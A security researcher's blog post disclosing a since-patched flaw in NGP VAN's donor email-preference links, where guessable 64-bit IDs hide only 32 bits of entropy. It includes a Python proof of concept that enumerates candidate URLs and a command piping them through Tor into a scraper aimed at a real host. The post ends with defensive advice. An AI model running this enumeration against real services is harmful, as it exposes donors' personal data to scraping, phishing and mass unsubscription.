A weak link-generation algorithm exposed Democratic Party donor information in the NGP VAN service to attack last month. The vulnerability would allow an attacker to unsubscribe large volumes of donors from Democratic candidates’ fundraising emails, conduct phishing campaigns, or resell the data.
I disclosed the vulnerability to NGP VAN’s engineering team, which patched the vulnerability within a week.
In this blog post, I’ll discuss the problem, give a proof of concept, and provide some recommendations to avoid similar problems in unauthenticated subscription-management portals.
NGP VAN Emails
NGP VAN offers Democratic donor campaign information to Democratic and progressive campaigns and organizations. According to their site, they service nearly every major Democratic campaign in America (to include President Obama).
Potential donors receive periodic emails from participating political candidates. At the bottom of each of these emails, the recipient has the option to update subscription preferences using a link with some large numbers in it, e.g.:
This link is a thunk into the subscription management portal, e.g.:
Here’s a redacted example:
The numerical portion of the subscription management URL is the signed representation of an 8-byte unsigned integer. This value encodes sensitive information an attacker could use to scrape NGP VAN’s database.
The upper 4 bytes are a user ID while the lower 4 bytes is a partition ID, the “suffix”. Once you find a valid suffix, you can scrape through the ~4.3 billion candidate user IDs. Valid suffixes are trivial to extract from valid NGP VAN emails.
Here’s a proof of concept Python program that generates candidate URLs:
import struct import argparse def member_ids(start, suffix): while start < 0xFFFFFFFF: bits = struct.pack("<II", suffix, start) value = struct.unpack("q", bits) yield value start += 1 parser = argparse.ArgumentParser() parser.add_argument("--start", type=int, help="ID to start from.", default=0) parser.add_argument("--suffix", type=int, help="secret suffix") args = parser.parse_args() start = args.start for id in member_ids(args.start, args.suffix): print "/Email/ManageEmailPreferences/%d" % id
An attacker could pluck an appropriate suffix out of a valid campaign email, then use the program above to generate candidate links. Say the suffix is 0x11223344 (decimal 287454020):
> python gen.py --suffix=287454020 /Email/ManageEmailPreferences/287454020 /Email/ManageEmailPreferences/4582421316 /Email/ManageEmailPreferences/8877388612 /Email/ManageEmailPreferences/13172355908 /Email/ManageEmailPreferences/17467323204 /Email/ManageEmailPreferences/21762290500 /Email/ManageEmailPreferences/26057257796 /Email/ManageEmailPreferences/30352225092 /Email/ManageEmailPreferences/34647192388 /Email/ManageEmailPreferences/38942159684 ...
Piping these routes into the Abrade web API scraper, an attacker could check hundreds of links per second via Tor:
python python gen.py --suffix=287454020 | abrade act.myngp.com --tls --stdin --tor --contents --screen "We're sorry"
Guidelines for Subscription Management
This attack no longer works thanks to a patch, but this disclosure is a cautionary tale to others implementing unauthenticated subscription management services.
Obfuscation is not a good policy. The NGP VAN links appeared to have 64 bits of entropy (18,446,744,073,709,551,616 URLs–too large to scrape), but they actually contained 32 bits of entropy because of the suffix. That’s certainly doable.
Using an anti-bot service will help, but a determined adversary can defeat these services. It’s simply too hard a problem–the service has to parse legitimate traffic from attacker traffic, and they’ll always err on the side of permitting.
Finally, don’t expose the user’s actual email address in the management page. It’s just not necessary. Have the user sign up for an account and authenticate if PII is involved. (Note: NGP VAN no longer exposes full email addresses after this weekend’s patch.)
Thanks to NGP VAN for being extremely responsive. They served as a model for how companies should react to responsible vulnerability disclosure.
Special thanks to the Electronic Frontier Foundation’s Coders’ Rights Project.